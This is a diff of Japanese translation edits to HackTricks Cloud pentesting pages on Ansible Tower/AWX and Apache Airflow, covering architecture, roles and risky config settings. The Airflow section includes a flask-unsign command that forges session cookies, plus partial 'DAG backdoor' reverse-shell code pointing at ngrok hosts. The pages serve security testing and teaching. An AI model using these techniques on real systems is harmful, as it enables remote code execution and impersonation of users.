Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/

src/banners/hacktricks-training.md

@@ -6,8 +6,8 @@
 >
 > <summary>HackTricksをサポートする</summary>
 >
-> - [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください！
+> - [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
 > - **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォローしてください。**
-> - **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
+> - **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
 >
 > </details>

src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md

@@ -4,7 +4,7 @@
 
 ## 基本情報
 
-**Ansible Tower** またはそのオープンソース版 [**AWX**](https://github.com/ansible/awx) は、**Ansibleのユーザーインターフェース、ダッシュボード、REST API** として知られています。**ロールベースのアクセス制御**、ジョブスケジューリング、グラフィカルなインベントリ管理を使用して、最新のUIからAnsibleインフラストラクチャを管理できます。TowerのREST APIとコマンドラインインターフェースにより、現在のツールやワークフローに簡単に統合できます。
+**Ansible Tower** またはそのオープンソース版 [**AWX**](https://github.com/ansible/awx) は、**Ansibleのユーザーインターフェース、ダッシュボード、REST API** としても知られています。**ロールベースのアクセス制御**、ジョブスケジューリング、グラフィカルなインベントリ管理を使用して、最新のUIからAnsibleインフラストラクチャを管理できます。TowerのREST APIとコマンドラインインターフェースにより、現在のツールやワークフローに簡単に統合できます。
 
 **Automation Controllerは新しい** バージョンのAnsible Towerで、より多くの機能を備えています。
 
@@ -15,19 +15,19 @@
 ### テクノロジースタック
 
 - **Webインターフェース**: これは、ユーザーがインベントリ、資格情報、テンプレート、ジョブを管理できるグラフィカルインターフェースです。直感的に設計されており、オートメーションジョブの状態や結果を理解するのに役立つ視覚化を提供します。
-- **REST API**: Webインターフェースでできるすべてのことは、REST APIを介しても行えます。つまり、AWX/Towerを他のシステムと統合したり、インターフェースで通常実行するアクションをスクリプト化したりできます。
-- **データベース**: AWX/Towerは、構成、ジョブ結果、その他の必要な運用データを保存するためにデータベース（通常はPostgreSQL）を使用します。
+- **REST API**: Webインターフェースでできるすべてのことは、REST APIを介しても行えます。これにより、AWX/Towerを他のシステムと統合したり、インターフェースで通常実行するアクションをスクリプト化したりできます。
+- **データベース**: AWX/Towerは、設定、ジョブ結果、その他の必要な運用データを保存するためにデータベース（通常はPostgreSQL）を使用します。
 - **RabbitMQ**: これは、AWX/Towerが異なるコンポーネント間、特にWebサービスとタスクランナー間で通信するために使用するメッセージングシステムです。
 - **Redis**: Redisは、キャッシュおよびタスクキューのバックエンドとして機能します。
 
 ### 論理コンポーネント
 
-- **インベントリ**: インベントリは、**ジョブ**（Ansibleプレイブック）を**実行**できる**ホスト（またはノード）のコレクション**です。AWX/Towerは、インベントリを定義およびグループ化することを許可し、AWS、Azureなどの他のシステムから**ホストリストを取得する**動的インベントリもサポートしています。
+- **インベントリ**: インベントリは、**ジョブ**（Ansibleプレイブック）を**実行**できる**ホスト（またはノード）のコレクション**です。AWX/Towerでは、インベントリを定義してグループ化でき、AWS、Azureなどの他のシステムから**ホストリストを取得する**動的インベントリもサポートしています。
 - **プロジェクト**: プロジェクトは、**バージョン管理システム**（Gitなど）から取得した**Ansibleプレイブックのコレクション**です。必要に応じて最新のプレイブックを取得します。
 - **テンプレート**: ジョブテンプレートは、**特定のプレイブックがどのように実行されるか**を定義し、ジョブのための**インベントリ**、**資格情報**、およびその他の**パラメータ**を指定します。
 - **資格情報**: AWX/Towerは、SSHキー、パスワード、APIトークンなどの秘密を**管理および保存する**安全な方法を提供します。これらの資格情報は、プレイブックが実行されるときに必要なアクセスを持つように、ジョブテンプレートに関連付けることができます。
-- **タスクエンジン**: ここで魔法が起こります。タスクエンジンはAnsibleに基づいて構築されており、**プレイブックを実行する**責任があります。ジョブはタスクエンジンに送信され、指定されたインベントリに対して指定された資格情報を使用してAnsibleプレイブックが実行されます。
-- **スケジューラーとコールバック**: これらはAWX/Towerの高度な機能で、**ジョブを特定の時間にスケジュール**したり、外部イベントによってトリガーしたりできます。
+- **タスクエンジン**: ここで魔法が起こります。タスクエンジンはAnsibleに基づいて構築されており、**プレイブックを実行する**責任があります。ジョブはタスクエンジンに送信され、指定されたインベントリに対して指定された資格情報を使用してAnsibleプレイブックを実行します。
+- **スケジューラーとコールバック**: これらは、特定の時間にジョブを**スケジュール**したり、外部イベントによってトリガーしたりすることを可能にするAWX/Towerの高度な機能です。
 - **通知**: AWX/Towerは、ジョブの成功または失敗に基づいて通知を送信できます。メール、Slackメッセージ、Webhookなど、さまざまな通知手段をサポートしています。
 - **Ansibleプレイブック**: Ansibleプレイブックは、構成、デプロイメント、およびオーケストレーションツールです。自動化された再現可能な方法でシステムの望ましい状態を記述します。YAMLで記述され、プレイブックはAnsibleの宣言型自動化言語を使用して、実行する必要がある構成、タスク、およびステップを記述します。
 
@@ -48,11 +48,11 @@
 5. **ジョブ結果**:
 - プレイブックの実行が終了すると、結果（成功、失敗、ログ）が**データベース**に保存されます。
 - ユーザーは、Webインターフェースを介して結果を表示したり、REST APIを介してクエリを実行したりできます。
-- ジョブの結果に基づいて、**通知**が送信され、ユーザーや外部システムにジョブの状態を通知できます。通知はメール、Slackメッセージ、Webhookなどです。
+- ジョブの結果に基づいて、**通知**が送信され、ユーザーや外部システムにジョブの状態を通知できます。通知は、メール、Slackメッセージ、Webhookなどです。
 6. **外部システムとの統合**:
 - **インベントリ**は外部システムから動的に取得でき、AWX/TowerはAWS、Azure、VMwareなどのソースからホストを取得できます。
 - **プロジェクト**（プレイブック）はバージョン管理システムから取得でき、ジョブ実行中に最新のプレイブックを使用することが保証されます。
-- **スケジューラーとコールバック**は、他のシステムやツールと統合するために使用でき、AWX/Towerが外部トリガーに反応したり、事前に決められた時間にジョブを実行したりします。
+- **スケジューラーとコールバック**は、他のシステムやツールと統合するために使用でき、AWX/Towerが外部トリガーに反応したり、事前に決められた時間にジョブを実行したりすることができます。
 
 ### AWXラボの作成とテスト
 
@@ -84,53 +84,53 @@ docker exec tools_awx_1 awx-manage create_preload_data
 ```
 ## RBAC
 
-### Supported roles
+### サポートされている役割
 
-最も特権のある役割は**System Administrator**と呼ばれています。この役割を持つ者は**何でも変更することができます**。
+最も特権のある役割は**システム管理者**と呼ばれます。この役割を持つ者は**何でも変更することができます**。
 
-**ホワイトボックスセキュリティ**レビューでは、**System Auditor role**が必要で、これにより**すべてのシステムデータを表示**できますが、変更はできません。別の選択肢として**Organization Auditor role**を取得することもできますが、前者を取得する方が良いでしょう。
+**ホワイトボックスセキュリティ**レビューでは、**システム監査役**が必要で、これにより**すべてのシステムデータを表示**できますが、変更はできません。もう一つの選択肢は**組織監査役**を取得することですが、前者を取得する方が良いでしょう。
 
 <details>
 
 <summary>利用可能な役割の詳細な説明を表示するにはここを展開してください</summary>
 
-1. **System Administrator**:
+1. **システム管理者**:
 - これは、システム内の任意のリソースにアクセスし、変更する権限を持つスーパーユーザーの役割です。
 - 彼らはすべての組織、チーム、プロジェクト、インベントリ、ジョブテンプレートなどを管理できます。
-2. **System Auditor**:
-- この役割を持つユーザーは、すべてのシステムデータを表示できますが、変更はできません。
-- この役割は、コンプライアンスと監視のために設計されています。
-3. **Organization Roles**:
-- **Admin**: 組織のリソースに対する完全な制御。
-- **Auditor**: 組織のリソースへの表示専用アクセス。
-- **Member**: 特定の権限なしで組織の基本メンバーシップ。
-- **Execute**: 組織内でジョブテンプレートを実行できます。
-- **Read**: 組織のリソースを表示できます。
-4. **Project Roles**:
-- **Admin**: プロジェクトを管理および変更できます。
-- **Use**: ジョブテンプレートでプロジェクトを使用できます。
-- **Update**: SCM（ソース管理）を使用してプロジェクトを更新できます。
-5. **Inventory Roles**:
-- **Admin**: インベントリを管理および変更できます。
-- **Ad Hoc**: インベントリ上でアドホックコマンドを実行できます。
-- **Update**: インベントリソースを更新できます。
-- **Use**: ジョブテンプレートでインベントリを使用できます。
-- **Read**: 表示専用アクセス。
-6. **Job Template Roles**:
-- **Admin**: ジョブテンプレートを管理および変更できます。
-- **Execute**: ジョブを実行できます。
-- **Read**: 表示専用アクセス。
-7. **Credential Roles**:
-- **Admin**: 資格情報を管理および変更できます。
-- **Use**: ジョブテンプレートやその他の関連リソースで資格情報を使用できます。
-- **Read**: 表示専用アクセス。
-8. **Team Roles**:
-- **Member**: チームの一部ですが、特定の権限はありません。
-- **Admin**: チームのメンバーと関連リソースを管理できます。
-9. **Workflow Roles**:
-- **Admin**: ワークフローを管理および変更できます。
-- **Execute**: ワークフローを実行できます。
-- **Read**: 表示専用アクセス。
+2. **システム監査役**:
+- この役割を持つユーザーはすべてのシステムデータを表示できますが、変更はできません。
+- この役割はコンプライアンスと監視のために設計されています。
+3. **組織の役割**:
+- **管理者**: 組織のリソースに対する完全な制御。
+- **監査役**: 組織のリソースへの表示専用アクセス。
+- **メンバー**: 特定の権限なしで組織の基本メンバーシップ。
+- **実行**: 組織内でジョブテンプレートを実行できます。
+- **読み取り**: 組織のリソースを表示できます。
+4. **プロジェクトの役割**:
+- **管理者**: プロジェクトを管理および変更できます。
+- **使用**: ジョブテンプレートでプロジェクトを使用できます。
+- **更新**: SCM（ソース管理）を使用してプロジェクトを更新できます。
+5. **インベントリの役割**:
+- **管理者**: インベントリを管理および変更できます。
+- **アドホック**: インベントリに対してアドホックコマンドを実行できます。
+- **更新**: インベントリソースを更新できます。
+- **使用**: ジョブテンプレートでインベントリを使用できます。
+- **読み取り**: 表示専用アクセス。
+6. **ジョブテンプレートの役割**:
+- **管理者**: ジョブテンプレートを管理および変更できます。
+- **実行**: ジョブを実行できます。
+- **読み取り**: 表示専用アクセス。
+7. **資格情報の役割**:
+- **管理者**: 資格情報を管理および変更できます。
+- **使用**: ジョブテンプレートやその他の関連リソースで資格情報を使用できます。
+- **読み取り**: 表示専用アクセス。
+8. **チームの役割**:
+- **メンバー**: チームの一部ですが、特定の権限はありません。
+- **管理者**: チームのメンバーと関連リソースを管理できます。
+9. **ワークフローの役割**:
+- **管理者**: ワークフローを管理および変更できます。
+- **実行**: ワークフローを実行できます。
+- **読み取り**: 表示専用アクセス。
 
 </details>
 

src/pentesting-ci-cd/apache-airflow-security/README.md

@@ -4,7 +4,7 @@
 
 ### 基本情報
 
-[**Apache Airflow**](https://airflow.apache.org) は、**データパイプラインやワークフローのオーケストレーションとスケジューリングのためのプラットフォーム**です。「オーケストレーション」という用語は、データパイプラインの文脈において、さまざまなソースからの複雑なデータワークフローを整理、調整、管理するプロセスを指します。これらのオーケストレーションされたデータパイプラインの主な目的は、処理された消費可能なデータセットを提供することです。これらのデータセットは、ビジネスインテリジェンスツール、データサイエンス、機械学習モデルなど、さまざまなアプリケーションで広く利用されており、ビッグデータアプリケーションの機能にとって基盤となっています。
+[**Apache Airflow**](https://airflow.apache.org) は、**データパイプラインやワークフローのオーケストレーションとスケジューリング**のためのプラットフォームとして機能します。データパイプラインの文脈における「オーケストレーション」という用語は、さまざまなソースからの複雑なデータワークフローを整理、調整、管理するプロセスを指します。これらのオーケストレーションされたデータパイプラインの主な目的は、処理された消費可能なデータセットを提供することです。これらのデータセットは、ビジネスインテリジェンスツール、データサイエンス、機械学習モデルなど、さまざまなアプリケーションで広く利用されており、ビッグデータアプリケーションの機能にとって基盤となっています。
 
 基本的に、Apache Airflowは、**何かが起こったときにコードの実行をスケジュールすることを可能にします**（イベント、cron）。
 
@@ -12,11 +12,11 @@
 
 #### Docker-Compose
 
-[**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) からの**docker-compose設定ファイルを使用して**、完全なapache airflow docker環境を起動できます。（MacOSを使用している場合は、docker VMに少なくとも6GBのRAMを割り当ててください）。
+[**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) からの**docker-compose設定ファイルを使用して**、完全なapache airflow docker環境を起動できます。（MacOSを使用している場合は、docker VMに少なくとも6GBのRAMを割り当てることを確認してください）。
 
 #### Minikube
 
-**apache airflowを実行する簡単な方法**は、**minikubeで実行することです**：
+**apache airflowを実行する**簡単な方法の一つは、**minikubeで実行することです**:
 ```bash
 helm repo add airflow-stable https://airflow-helm.github.io/charts
 helm repo update
@@ -28,7 +28,7 @@ helm delete airflow-release
 ```
 ### Airflowの設定
 
-Airflowはその設定に**機密情報**を保存する可能性があるか、または弱い設定が存在する場合があります：
+Airflowはその設定に**機密情報**を保存する可能性があり、または弱い設定が存在することがあります：
 
 {{#ref}}
 airflow-configuration.md
@@ -63,21 +63,21 @@ AirflowはデフォルトでGUIに変数の値を表示しますが、[**これ*
 ![](<../../images/image (164).png>)
 
 しかし、これらの**値**は**CLI**（DBアクセスが必要）、**任意のDAG**の実行、**API**を介して変数エンドポイントにアクセスすること（APIは有効化する必要があります）、さらには**GUI自体**からも**取得**できます！\
-GUIからこれらの値にアクセスするには、**アクセスしたい変数を選択**し、**アクション -> エクスポート**をクリックします。\
-別の方法は、**検索フィルタリング**を使用して**隠された値**に対して**ブルートフォース**を実行し、取得することです：
+GUIからこれらの値にアクセスするには、アクセスしたい**変数を選択**し、**アクション -> エクスポート**をクリックします。\
+別の方法は、**検索フィルタリング**を使用して**隠された値**に対して**ブルートフォース**を行い、それを取得することです：
 
 ![](<../../images/image (152).png>)
 
 #### 権限昇格
 
-**`expose_config`**設定が**True**に設定されている場合、**ユーザー役割**以上の役割から**ウェブで設定を読む**ことができます。この設定には**`secret_key`**が含まれており、これにより有効なユーザーは**他のユーザーアカウントを偽装するための独自の署名付きクッキーを作成**できます。
+**`expose_config`**設定が**True**に設定されている場合、**ユーザー役割**以上の権限を持つ者は**ウェブで設定を読み取る**ことができます。この設定には**`secret_key`**が含まれており、これに有効なユーザーは**他のユーザーアカウントを偽装するための独自の署名付きクッキーを作成**できます。
 ```bash
 flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
 ```
-#### DAG バックドア (Airflow ワーカーにおける RCE)
+#### DAG Backdoor (RCE in Airflow worker)
 
-もし **DAG が保存されている場所** に **書き込みアクセス** がある場合、あなたは単に **一つを作成** して **リバースシェル** を送信することができます。\
-このリバースシェルは **airflow ワーカーコンテナ** 内で実行されることに注意してください：
+もし**DAGが保存されている場所**に**書き込みアクセス**がある場合、**リバースシェルを送信する**ものを**作成する**ことができます。\
+このリバースシェルは**airflow worker container**内で実行されることに注意してください：
 ```python
 import pendulum
 from airflow import DAG
@@ -118,7 +118,7 @@ op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
 ```
 #### DAG バックドア (Airflow スケジューラにおける RCE)
 
-コードの**ルートで実行されるように設定**した場合、執筆時点では、それはDAGのフォルダに配置してから数秒後に**スケジューラによって実行されます**。
+コードのルートで何かを**実行するように設定**すると、この記事を書いている時点で、それは**スケジューラによって実行されます**。DAG のフォルダに配置してから数秒後に実行されます。
 ```python
 import pendulum, socket, os, pty
 from airflow import DAG
@@ -144,15 +144,15 @@ op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
 ```
 #### DAGの作成
 
-もしあなたが**DAGクラスター内のマシンを侵害することに成功すれば**、`dags/`フォルダーに新しい**DAGスクリプト**を作成でき、それらは**DAGクラスター内の他のマシンに複製されます**。
+もし**DAGクラスター内のマシンを侵害することができれば**、`dags/`フォルダーに新しい**DAGスクリプト**を作成でき、それが**DAGクラスター内の他のマシンに複製されます**。
 
 #### DAGコードインジェクション
 
-GUIからDAGを実行すると、**引数**を渡すことができます。\
+GUIからDAGを実行するときに**引数を渡す**ことができます。\
 したがって、DAGが適切にコーディングされていない場合、**コマンドインジェクションに対して脆弱である可能性があります。**\
 これがこのCVEで起こったことです: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
 
-**DAG内のコマンドインジェクションを探し始めるために知っておくべきこと**は、**パラメータ**が**コード`dag_run.conf.get("param_name")`**で**アクセスされる**ということです。
+**DAG内のコマンドインジェクションを探し始めるために知っておくべきことは**、**パラメータ**が**コード`dag_run.conf.get("param_name")`で**アクセスされるということです。
 
 さらに、同じ脆弱性が**変数**にも発生する可能性があります（十分な権限があれば、GUIで**変数の値を制御できる**ことに注意してください）。変数は**次のようにアクセスされます**:
 ```python
@@ -160,6 +160,6 @@ from airflow.models import Variable
 [...]
 foo = Variable.get("foo")
 ```
-もしそれらが例えばbashコマンド内で使用されると、コマンドインジェクションを実行することができます。
+例えば、bashコマンド内で使用される場合、コマンドインジェクションを実行することができます。
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md

@@ -4,14 +4,14 @@
 
 ## Configuration File
 
-**Apache Airflow** は、すべての Airflow マシンに **`airflow.cfg`** という **config file** を生成します。この config file は設定情報を含み、**興味深く、機密性の高い情報を含む可能性があります。**
+**Apache Airflow** は、すべての airflow マシンに **`airflow.cfg`** という **config file** を生成します。この config file は、設定情報を含み、**興味深く、機密性の高い情報を含む可能性があります。**
 
-**このファイルにアクセスする方法は2つあります：Airflow マシンを侵害するか、ウェブコンソールにアクセスすることです。**
+**このファイルにアクセスする方法は2つあります：airflow マシンを侵害するか、ウェブコンソールにアクセスすることです。**
 
-**config file 内の値** **は使用されているものとは異なる可能性がある**ことに注意してください。環境変数を設定することで上書きできます。例えば、`AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`。
+**config file 内の値** は **使用されているものではない可能性がある**ことに注意してください。環境変数を設定することで上書きできます。例えば、`AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`。
 
 **ウェブサーバーの config file にアクセスできる場合**、同じページで表示されている **実際の実行設定** を確認できます。\
-**Airflow 環境内のマシンにアクセスできる場合**、**環境**を確認してください。
+**airflow 環境内のマシンにアクセスできる場合**、**環境**を確認してください。
 
 config file を読む際に確認すべき興味深い値：
 
@@ -20,14 +20,14 @@ config file を読む際に確認すべき興味深い値：
 - **`access_control_allow_headers`**: これは **CORS** のための **許可された** **ヘッダー** を示します
 - **`access_control_allow_methods`**: これは **CORS** のための **許可されたメソッド** を示します
 - **`access_control_allow_origins`**: これは **CORS** のための **許可されたオリジン** を示します
-- **`auth_backend`**: [**ドキュメントによると**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) API へのアクセスを設定するためのいくつかのオプションがあります：
+- **`auth_backend`**: [**ドキュメントによると**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html)、API にアクセスできるユーザーを設定するためのいくつかのオプションがあります：
 - `airflow.api.auth.backend.deny_all`: **デフォルトでは誰も** API にアクセスできません
 - `airflow.api.auth.backend.default`: **誰でも** 認証なしでアクセスできます
-- `airflow.api.auth.backend.kerberos_auth`: **Kerberos 認証** を設定するため
+- `airflow.api.auth.backend.kerberos_auth`: **kerberos 認証** を設定するため
 - `airflow.api.auth.backend.basic_auth`: **基本認証** のため
 - `airflow.composer.api.backend.composer_auth`: 作成者の認証を使用します (GCP) ([**こちら**](https://cloud.google.com/composer/docs/access-airflow-api)から)。
-- `composer_auth_user_registration_role`: これは **Airflow** 内で **作成者ユーザー** が取得する **役割** を示します (**Op** がデフォルト)。
-- Python で **独自の認証** メソッドを作成することもできます。
+- `composer_auth_user_registration_role`: これは **composer ユーザー** が **airflow** 内で取得する **役割** を示します (**Op** がデフォルト)。
+- また、Python で **独自の認証** メソッドを作成することもできます。
 - **`google_key_path`:** **GCP サービスアカウントキー** へのパス
 
 ### **\[atlas]**
@@ -38,23 +38,23 @@ config file を読む際に確認すべき興味深い値：
 ### \[celery]
 
 - **`flower_basic_auth`** : 認証情報 (_user1:password1,user2:password2_)
-- **`result_backend`**: **認証情報**を含む可能性のある Postgres URL。
+- **`result_backend`**: **認証情報** を含む可能性のある Postgres URL。
 - **`ssl_cacert`**: cacert へのパス
-- **`ssl_cert`**: cert へのパス
-- **`ssl_key`**: key へのパス
+- **`ssl_cert`**: 証明書へのパス
+- **`ssl_key`**: キーへのパス
 
 ### \[core]
 
 - **`dag_discovery_safe_mode`**: デフォルトで有効。DAG を発見する際、`DAG` と `airflow` の文字列を含まないファイルは無視されます。
 - **`fernet_key`**: 暗号化された変数を保存するためのキー (対称)
 - **`hide_sensitive_var_conn_fields`**: デフォルトで有効、接続の機密情報を隠します。
-- **`security`**: 使用するセキュリティモジュール (例えば Kerberos)
+- **`security`**: 使用するセキュリティモジュール (例えば kerberos)
 
 ### \[dask]
 
 - **`tls_ca`**: ca へのパス
-- **`tls_cert`**: cert へのパス
-- **`tls_key`**: tls key へのパス
+- **`tls_cert`**: 証明書へのパス
+- **`tls_key`**: tls キーへのパス
 
 ### \[kerberos]
 
@@ -81,22 +81,22 @@ config file を読む際に確認すべき興味深い値：
 - **`cookie_secure`**: セッション cookie に **secure flag** を設定します
 - **`expose_config`**: デフォルトは False で、true の場合、**config** はウェブ **console** から **読み取る** ことができます
 - **`expose_stacktrace`**: デフォルトでは True で、**python tracebacks** を表示します (攻撃者にとって潜在的に有用)
-- **`secret_key`**: これは **Flask が cookie に署名するために使用するキー** です (これを持っていると **Airflow の任意のユーザーになりすます** ことができます)
-- **`web_server_ssl_cert`**: **SSL** **cert** への **パス**
-- **`web_server_ssl_key`**: **SSL** **Key** への **パス**
+- **`secret_key`**: これは **flask が cookie に署名するために使用するキー** です (これを持っていると、**Airflow の任意のユーザーを偽装**できます)
+- **`web_server_ssl_cert`**: **SSL** **証明書** への **パス**
+- **`web_server_ssl_key`**: **SSL** **キー** への **パス**
 - **`x_frame_enabled`**: デフォルトは **True** で、デフォルトではクリックジャッキングは不可能です
 
 ### Web Authentication
 
-デフォルトでは **web authentication** は **`webserver_config.py`** ファイルに指定され、設定されています。
+デフォルトでは **web authentication** は **`webserver_config.py`** ファイルに指定され、次のように設定されています。
 ```bash
 AUTH_TYPE = AUTH_DB
 ```
-つまり、**認証はデータベースに対してチェックされます**。ただし、他の設定も可能です。
+これは、**認証がデータベースに対してチェックされる**ことを意味します。ただし、他の構成も可能です。
 ```bash
 AUTH_TYPE = AUTH_OAUTH
 ```
-**認証を第三者サービスに委ねる**ために。
+**認証をサードパーティサービスに委ねる**こと。
 
 ただし、**匿名ユーザーのアクセスを許可する**オプションもあり、次のパラメータを**希望するロール**に設定します：
 ```bash

src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md

@@ -4,13 +4,13 @@
 
 ## RBAC
 
-(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflowはデフォルトで**一連の役割**を提供します：**Admin**、**User**、**Op**、**Viewer**、および**Public**。**`Admin`**ユーザーのみが**他の役割の権限を設定/変更**できます。しかし、`Admin`ユーザーがこれらのデフォルトの役割を変更することは推奨されません。
+(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflowにはデフォルトで**一連の役割**が付属しています：**Admin**、**User**、**Op**、**Viewer**、および**Public**。**`Admin`**ユーザーのみが**他の役割の権限を設定/変更**できます。しかし、`Admin`ユーザーがこれらのデフォルトの役割を変更することは推奨されません。
 
 - **`Admin`**ユーザーはすべての権限を持っています。
 - **`Public`**ユーザー（匿名）は権限を持っていません。
 - **`Viewer`**ユーザーは制限された閲覧権限（読み取りのみ）を持っています。**設定を表示できません。**
 - **`User`**ユーザーは`Viewer`権限に加えて、DAGを少し管理するための追加のユーザー権限を持っています。彼は**設定ファイルを表示できます。**
-- **`Op`**ユーザーは`User`権限に加えて、追加のオペレーター権限を持っています。
+- **`Op`**ユーザーは`User`権限に加えて、追加のオペレーション権限を持っています。
 
 **admin**ユーザーは**より細かい権限を持つ役割を作成**できることに注意してください。
 
@@ -22,19 +22,19 @@
 
 - **Admin**
 
-\[Connectionsで削除、Connectionsで読み取り、Connectionsで編集、Connectionsで作成、DAGsで読み取り、DAGsで編集、DAGsで削除、DAG Runsで読み取り、Task Instancesで読み取り、Task Instancesで編集、DAG Runsで削除、DAG Runsで作成、DAG Runsで編集、Audit Logsで読み取り、ImportErrorで読み取り、Poolsで削除、Poolsで読み取り、Poolsで編集、Poolsで作成、Providersで読み取り、Variablesで削除、Variablesで読み取り、Variablesで編集、Variablesで作成、XComsで読み取り、DAG Codeで読み取り、Configurationsで読み取り、Pluginsで読み取り、Rolesで読み取り、Permissionsで読み取り、Rolesで削除、Rolesで編集、Rolesで作成、Usersで読み取り、Usersで作成、Usersで編集、Usersで削除、DAG Dependenciesで読み取り、Jobsで読み取り、My Passwordで読み取り、My Passwordで編集、My Profileで読み取り、My Profileで編集、SLA Missesで読み取り、Task Logsで読み取り、Websiteで読み取り、Browseへのメニューアクセス、DAG Dependenciesへのメニューアクセス、DAG Runsへのメニューアクセス、Documentationへのメニューアクセス、Docsへのメニューアクセス、Jobsへのメニューアクセス、Audit Logsへのメニューアクセス、Pluginsへのメニューアクセス、SLA Missesへのメニューアクセス、Task Instancesへのメニューアクセス、Task Instancesで作成、Task Instancesで削除、Adminへのメニューアクセス、Configurationsへのメニューアクセス、Connectionsへのメニューアクセス、Poolsへのメニューアクセス、Variablesへのメニューアクセス、XComsへのメニューアクセス、XComsで削除、Task Reschedulesで読み取り、Task Reschedulesへのメニューアクセス、Triggersで読み取り、Triggersへのメニューアクセス、Passwordsで読み取り、Passwordsで編集、List Usersへのメニューアクセス、Securityへのメニューアクセス、List Rolesへのメニューアクセス、User Stats Chartで読み取り、User's Statisticsへのメニューアクセス、Base Permissionsへのメニューアクセス、View Menusで読み取り、Views/Menusへのメニューアクセス、Permission Viewsで読み取り、Views/MenusのPermissionへのメニューアクセス、MenuApiで取得、Providersへのメニューアクセス、XComsで作成]
+\[Connectionsの削除、Connectionsの読み取り、Connectionsの編集、Connectionsの作成、DAGsの読み取り、DAGsの編集、DAGsの削除、DAG Runsの読み取り、Task Instancesの読み取り、Task Instancesの編集、DAG Runsの削除、DAG Runsの作成、DAG Runsの編集、Audit Logsの読み取り、ImportErrorの読み取り、Poolsの削除、Poolsの読み取り、Poolsの編集、Poolsの作成、Providersの読み取り、Variablesの削除、Variablesの読み取り、Variablesの編集、Variablesの作成、XComsの読み取り、DAG Codeの読み取り、Configurationsの読み取り、Pluginsの読み取り、Rolesの読み取り、Permissionsの読み取り、Rolesの削除、Rolesの編集、Rolesの作成、Usersの読み取り、Usersの作成、Usersの編集、Usersの削除、DAG Dependenciesの読み取り、Jobsの読み取り、My Passwordの読み取り、My Passwordの編集、My Profileの読み取り、My Profileの編集、SLA Missesの読み取り、Task Logsの読み取り、Websiteの読み取り、Browseのメニューアクセス、DAG Dependenciesのメニューアクセス、DAG Runsのメニューアクセス、Documentationのメニューアクセス、Docsのメニューアクセス、Jobsのメニューアクセス、Audit Logsのメニューアクセス、Pluginsのメニューアクセス、SLA Missesのメニューアクセス、Task Instancesのメニューアクセス、Task Instancesの作成、Task Instancesの削除、Adminのメニューアクセス、Configurationsのメニューアクセス、Connectionsのメニューアクセス、Poolsのメニューアクセス、Variablesのメニューアクセス、XComsのメニューアクセス、XComsの削除、Task Reschedulesの読み取り、Task Reschedulesのメニューアクセス、Triggersの読み取り、Triggersのメニューアクセス、Passwordsの読み取り、Passwordsの編集、List Usersのメニューアクセス、Securityのメニューアクセス、List Rolesのメニューアクセス、User Stats Chartの読み取り、User's Statisticsのメニューアクセス、Base Permissionsのメニューアクセス、View Menusの読み取り、Views/Menusのメニューアクセス、Permission Viewsの読み取り、Permission on Views/Menusのメニューアクセス、MenuApiの取得、Providersのメニューアクセス、XComsの作成]
 
 - **Op**
 
-\[Connectionsで削除、Connectionsで読み取り、Connectionsで編集、Connectionsで作成、DAGsで読み取り、DAGsで編集、DAGsで削除、DAG Runsで読み取り、Task Instancesで読み取り、Task Instancesで編集、DAG Runsで削除、DAG Runsで作成、DAG Runsで編集、Audit Logsで読み取り、ImportErrorで読み取り、Poolsで削除、Poolsで読み取り、Poolsで編集、Poolsで作成、Providersで読み取り、Variablesで削除、Variablesで読み取り、Variablesで編集、Variablesで作成、XComsで読み取り、DAG Codeで読み取り、Configurationsで読み取り、Pluginsで読み取り、DAG Dependenciesで読み取り、Jobsで読み取り、My Passwordで読み取り、My Passwordで編集、My Profileで読み取り、My Profileで編集、SLA Missesで読み取り、Task Logsで読み取り、Websiteで読み取り、Browseへのメニューアクセス、DAG Dependenciesへのメニューアクセス、DAG Runsへのメニューアクセス、Documentationへのメニューアクセス、Docsへのメニューアクセス、Jobsへのメニューアクセス、Audit Logsへのメニューアクセス、Pluginsへのメニューアクセス、SLA Missesへのメニューアクセス、Task Instancesへのメニューアクセス、Task Instancesで作成、Task Instancesで削除、Adminへのメニューアクセス、Configurationsへのメニューアクセス、Connectionsへのメニューアクセス、Poolsへのメニューアクセス、Variablesへのメニューアクセス、XComsへのメニューアクセス、XComsで削除]
